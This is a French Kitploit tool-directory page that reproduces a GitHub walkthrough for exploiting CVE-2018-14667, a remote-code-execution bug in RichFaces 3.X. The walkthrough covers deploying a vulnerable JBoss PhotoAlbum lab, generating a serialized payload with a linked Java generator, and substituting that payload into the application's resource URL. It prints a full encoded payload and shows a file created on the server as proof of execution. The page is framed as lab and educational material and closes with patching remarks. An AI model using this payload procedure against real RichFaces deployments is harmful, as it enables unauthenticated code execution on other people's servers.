Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2018-14667 — Tout sur CVE-2018-14667 ; de ce que c'est à comment l'exploiter avec succès. | Kitploit
Outils/GitHubGitHub/syriusbughunt/cve-2018-14667
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

Tout sur CVE-2018-14667 ; de ce que c'est à comment l'exploiter avec succès.

Voir le dépôt
5092il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-14667

Après avoir passé beaucoup de temps à comprendre et à exploiter correctement cette CVE, j'ai décidé de créer un dépôt sur le bug RCE de RichFaces 3.X et de partager les procédures pas à pas avec la communauté.

0x00 : Introduction sur le bug de RichFaces 3.X

Le lundi 19 novembre, Joao F M Figueiredo a publié un article très détaillé (https://seclists.org/fulldisclosure/2018/Nov/47) sur une vulnérabilité critique à haut risque de RichFaces.
Score de base CVSS3 9.8

Cette vulnérabilité permettra à tout utilisateur non authentifié d'exécuter du code à distance sur toute application web utilisant RichFaces 3.X (toutes versions), ce qui est pratiquement le pire des cas.

0x01 : Suis-je concerné ? 

Eh bien, si vous utilisez RichFaces 3.X (toute version de RichFaces 3) et que vous voyez le code suivant dans votre source, il y a de fortes chances que vous soyez vulnérable à l'exécution de code à distance via CVE-2018-14667 :

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component,StateHolderSaver
  • java.awt.Color

0x02 : Exécution d'un environnement vulnérable pour tester le bug 

Je vais essentiellement réexpliquer ce qui a déjà été couvert dans l'article de seclists.org sur le déploiement d'un environnement vulnérable.

  1. Téléchargez JBoss 5.1.0GA et une application de démonstration avec RichFaces qui contient l'application PhotoAlbum.
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
    → https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  2. Décompressez l'archive ZIP.
  3. Copiez l'application richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear dans le répertoire de déploiement JBoss jboss-5.1.0.GA/server/default/deploy/
  4. Démarrez le serveur d'applications JBoss en utilisant la syntaxe suivante (assurez-vous avant de lancer que votre port 8080 n'est pas déjà utilisé) : cd bin ; ./run.sh -b 0.0.0.0
  5. Vous devrez naviguer sur la page d'index de PhotoAlbum pour activer l'application web.

0x03 : Génération d'une charge utile valide 

Maintenant la partie amusante ! C'est là que j'ai rencontré des difficultés, donc je vais expliquer en détail comment générer une charge utile valide sans répéter les mêmes erreurs que j'ai faites. Je suggère d'utiliser Eclipse pour compiler la charge utile.

  1. Téléchargez Eclipse sur le lien suivant :
    → https://www.eclipse.org/downloads/
  2. Lancez Eclipse et choisissez de créer un nouveau projet Web.
  3. Obtenez le générateur de charge utile (crédits à orich1 de https://xz.aliyun.com/t/3264) disponible dans ce dépôt
    → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
  4. Extrayez l'archive WAR dans ce dépôt (richfaces-demo-3.3.0.GA-tomcat6.war), copiez tous les fichiers .jar du dossier WEB-INF/lib/ vers WebContent/WEB-INF/lib/ dans votre projet Java Web dans Eclipse
    → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
  5. Ajoutez le fichier Main.java dans Eclipse ; faites un clic droit sur le nom de votre projet Java Web dans Eclipse, New, File.
  6. Faites du dossier WebContent/WEB-INF/lib la source du Build Path dans Eclipse ; clic droit sur le dossier lib, Build Path, Use as Source Folder.
  7. Voyons si vous avez de la chance ; cliquez sur le bouton vert Play pour exécuter le compilateur. Si vous obtenez 0 erreur et une charge utile valide dans votre sortie, félicitations, vous avez maintenant une charge utile valide pour CVE-2018-14667. Maintenant, si vous rencontrez toutes sortes d'erreurs, ne paniquez pas. Vous voudrez peut-être commenter les lignes suivantes : 29,30,31,32,33,34,35 pour qu'elles ressemblent à ceci :
root@kitploit:~
        // Class clazz = Class.forName("javax.el.MethodExpression");
        // Field field = clazz.getField("serialVersionUID");
        // field.setAccessible(true);
        // Field modifiersField = Field.class.getDeclaredField("modifiers");
        // modifiersField.setAccessible(true);
        // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        // field.setLong(null, MethodExpressionSerialVersionUID);

Le résultat de votre sortie dans Eclipse devrait ressembler à ceci :

root@kitploit:~
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf

0x04 : Envoi de votre charge utile et obtention d'exécution de code à distance 

Naviguez dans votre navigateur vers votre serveur JBoss local exécutant l'application web PhotoAlbum http://192.168.100.2:8080/photoalbum et faites un clic droit pour afficher le code source de la page. Appuyez sur Ctrl+F et recherchez '/DATA/'. Vous devriez trouver quelque chose de similaire à ceci :

root@kitploit:~
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 

Vous pouvez clairement voir l'objet sérialisé. C'est là que nous remplacerons l'objet sérialisé par notre charge utile pour obtenir l'exécution de code à distance. Dans votre navigateur, modifiez l'URL pour http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. Ma charge utile exécutait la commande suivante 'touch /tmp/PoorRichFaces'. Voyons si j'ai réussi :

root@kitploit:~
drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
-rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 

Ça fait du bien, n'est-ce pas ? Nous venons d'obtenir une RCE sur une application web Java utilisant RichFaces 3.X.

0x05 : Comment patcher ? 

Vous n'allez peut-être pas aimer ce fait, alors soyez prêt et accrochez-vous à votre clavier ; RichFaces a atteint la fin de vie concernant le support de son produit, donc les utilisateurs (vous) doivent appliquer leur propre correctif. Ne paniquez pas, si vous ne trouvez pas de moyen de patcher, n'hésitez pas à me contacter, nous pouvons prendre un arrangement pour que je puisse patcher vos applications web Java.

E-mail: [email protected]

Télécharger l’outil